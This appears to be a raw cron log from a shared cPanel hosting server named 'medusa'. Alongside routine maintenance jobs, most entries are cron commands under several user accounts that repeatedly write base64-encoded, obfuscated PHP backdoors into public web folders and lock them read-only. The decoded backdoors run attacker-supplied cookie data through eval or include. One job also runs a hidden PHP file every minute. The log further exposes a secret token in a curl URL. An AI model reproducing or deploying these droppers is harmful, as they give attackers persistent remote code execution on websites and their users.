"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:08:01 medusa CROND[7519]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:08:01 medusa CROND[7527]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:08:01 medusa CROND[7533]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:09:01 medusa CROND[23829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:09:01 medusa CROND[24092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:09:01 medusa CROND[24093]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 13:09:01 medusa CROND[24094]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:09:01 medusa CROND[24095]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:09:01 medusa CROND[24096]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:09:01 medusa CROND[24099]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:09:01 medusa CROND[24100]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:09:01 medusa CROND[24101]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:09:01 medusa CROND[24102]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:09:01 medusa CROND[24107]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:09:01 medusa CROND[24109]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:09:01 medusa CROND[24108]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:10:01 medusa CROND[1398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 13:10:01 medusa CROND[1425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:10:01 medusa CROND[1431]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:10:01 medusa CROND[1489]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:10:01 medusa CROND[1678]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:10:02 medusa CROND[1798]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1797]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:10:02 medusa CROND[1804]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:10:02 medusa CROND[1805]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1806]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:10:02 medusa CROND[1802]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:10:02 medusa CROND[1809]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1810]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:10:02 medusa CROND[1811]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:10:02 medusa CROND[1814]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:10:02 medusa CROND[1812]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICA